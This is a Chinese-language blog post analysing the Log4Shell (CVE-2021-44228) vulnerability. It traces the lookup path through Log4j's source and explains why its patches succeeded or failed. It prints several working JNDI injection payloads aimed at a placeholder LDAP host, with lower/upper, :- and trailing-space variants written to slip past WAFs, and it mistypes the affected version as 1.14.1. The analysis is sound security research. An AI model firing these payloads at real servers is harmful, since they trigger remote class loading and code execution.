log4j漏洞原理復現

環境搭建

https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce

直接用idea打開,build即可

然後運行即可,成功觸發漏洞

漏洞跟蹤

跟蹤漏洞觸發函數

發現接口org/apache/logging/log4j/Logger.java error

查看接口實現方法 org/apache/logging/log4j/spi/AbstractLogger.java

跟蹤logIfEnabled()函數的邏輯

跟蹤到tryLogMessage時,通過靜態查找log函數,是不對的,通過動態跟蹤更加準確,後面分析感覺是因爲跨組件了,所以用idea的搜索搜出來不對

動態debug調試會跳到org/apache/logging/log4j/core/Logger.java

繼續跟進最終會走到org/apache/logging/log4j/core/config/LoggerConfig.java 452行的一個三元表達式,這裏三元表達式的2個分支實現原理都是一樣的,不同點是做了強轉,最終都是調用了logEventFactory.createEvent()函數,並將其中的參數統一set到logEvent的返回值中,當然poc也存在了其中

繼續跟進,發現將保存有poc的event參數傳入了org/apache/logging/log4j/core/config/LoggerConfig.java的callAppenders()中

繼續跟進發現在org/apache/logging/log4j/core/layout/PatternLayout.java處會進行format操作,此次調試中再i爲8時會進入觸發poc

跟進後步入了org/apache/logging/log4j/core/pattern/MessagePatternConverter.java中的config.getStrSubstitutor()函數中,並且傳入的value參數根據字符串中存在${的邏輯進行階段,因爲config是動態賦值的,靜態根據找不到對應的類,此處在動態調試步入後就直接觸發漏洞,點擊紅色的步入Force step into可以繼續查看邏輯

進入了StrSubstitutor後發現在org/apache/logging/log4j/core/config/AbstractConfiguration.java直接返回了個subst參數,對該參數進行分析

發現是調用的StrSubstitutor類,並且傳入的是一個StrLookup變量

查看StrSubstitutor的邏輯,org/apache/logging/log4j/core/lookup/StrSubstitutor.java發現在初始化時如果只有一個變量,會調用自己的另一個構造方法,並帶上3個默認的參數,後續邏輯爲對幾個參數值進行賦值到返回的subst參數中

這裏帶4個參數的構造方法有2個,而DEFAULT_PREFIX參數是StrMatcher類,因此會跳到下方的函數

之後會調用帶有6個參數的構造方法,setValueDelimiterMatcher的值爲:-

傳入的這5個參數分別對應 ${}:-:\-的字符,這些字符除了:-在後面繞waf的poc中有體現

繼續跟入org/apache/logging/log4j/core/lookup/StrSubstitutor.javareplace函數,該函數不是字符串的replace,是自定義的replace函數

跟進處理邏輯,發現將類中的特殊字符取出來,後續進行刪除字符操作

進行處理後會走到resolveVariable函數

該函數會將event和variableName傳入lookup函數中,lookup一般是java反序列化遠程加載類的一個重要函數名

這裏的resolver可以是支持以下類型,而我們的遠程加載類型jndi在裏面,繞waf的poc的lower也在裏面,因此可以通過lower來繞waf

最終跟進,進入到org/apache/logging/log4j/core/lookup/Interpolator.java中的lookup函數,並且傳入的variableName是截取的poc,最終調用java的lookup觸發遠程加載實現反序列化,但這裏不是加載的name的值,因爲event值不會null,則會調用lookup.lookup(event, name)函數或者進入defaultlookup.lookup()函數

最終觸發點使用了jndimanager加載遠程資源

調用java原生態lookup

WAF BYPASS手法

在代碼分析過程中,發現會對${}:-:\\-有處理,則將這類特殊符號插入poc中任然可以讓邏輯將這些符號吞掉,執行代碼定義StrSubstitutor(x,x,x,x)時會傳入4個參數,會調用自身傳入6個參數的構造方法

可以看到下面的處理邏輯:-進入了配置,而:\-並沒有進入配置,所以這也就是無法用:\-來繞過waf的原因

在處理字符串的代碼塊中也將該值提取出來,並進行截取

在進行對字符串進行遞進檢測時,會將${}內容分成多個小塊,然後會截取xxxxx:-的內容爲varName,之後的內容j爲varDefaultValue

在進行對字符串進行遞進檢測時,會將${}內容分成多個小塊,第一次切割會去掉最外面的${}

第二次切割掉${j}${},並將j放入循環

截取的小塊內容會在之後的buf.replace進行還原拼接,但前提是該小塊內容需要有:-或者{協議}:這樣的參數才能進入到拼接的邏輯中

這也就是爲什麼可以使用以下poc

${${xx:-j}ndi:ldap://xxx.xx/a}

而使用lower:協議,會讓varVaule在進入resoverVariable時返回值就爲協議後的內容,也會順利進入buf.replace中

跟蹤log4j的StrLookup方法會調用到lower專屬的lookup解析方式org/apache/logging/log4j/core/lookup/LowerLookup.java

最後返回小寫字母,因此返回值也不會爲null,會進入到拼接的判斷中

因此可以這麼寫poc

${${lower:j}ndi:ldap://xx.xx/a}

還可以處理字符串的協議有

${${upper:j}ndi:ldap://xx.xx/a}

協議會被統一處理成小寫因此,可以寫成

${${loWeR:j}ndi:ldap://xx.xx/a}

修復

log4j漏洞影響版本在 <=1.14.1,但是網上說在log4j-2.15.0-rc1仍然可以繞過,於是出了rc2

2.15.0-rc1在默認配置下安全,但如果配置文件中開啓了lookup功能則存在問題,在最終觸發點處org/apache/logging/log4j/core/net/JndiManager.java,和2.14.1不同的在於,他進行了一系列的對協議內容的檢測

但catch處並沒有return,則只要try裏面的內容報錯,則這段過濾就沒用,繞過方法則讓下面一行報錯

URI uri = new URI(name);

使用空格來處理url則會報錯,但最終還是會解析

${jndi:ldap://xx.xx/ a}

rc2則在catch處增加了return,就沒問題了

2.15.0正式版之後,對${}的處理代碼結構已經完全改變,漏洞無法走到該邏輯處

參考鏈接

https://forum.butian.net/share/966

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章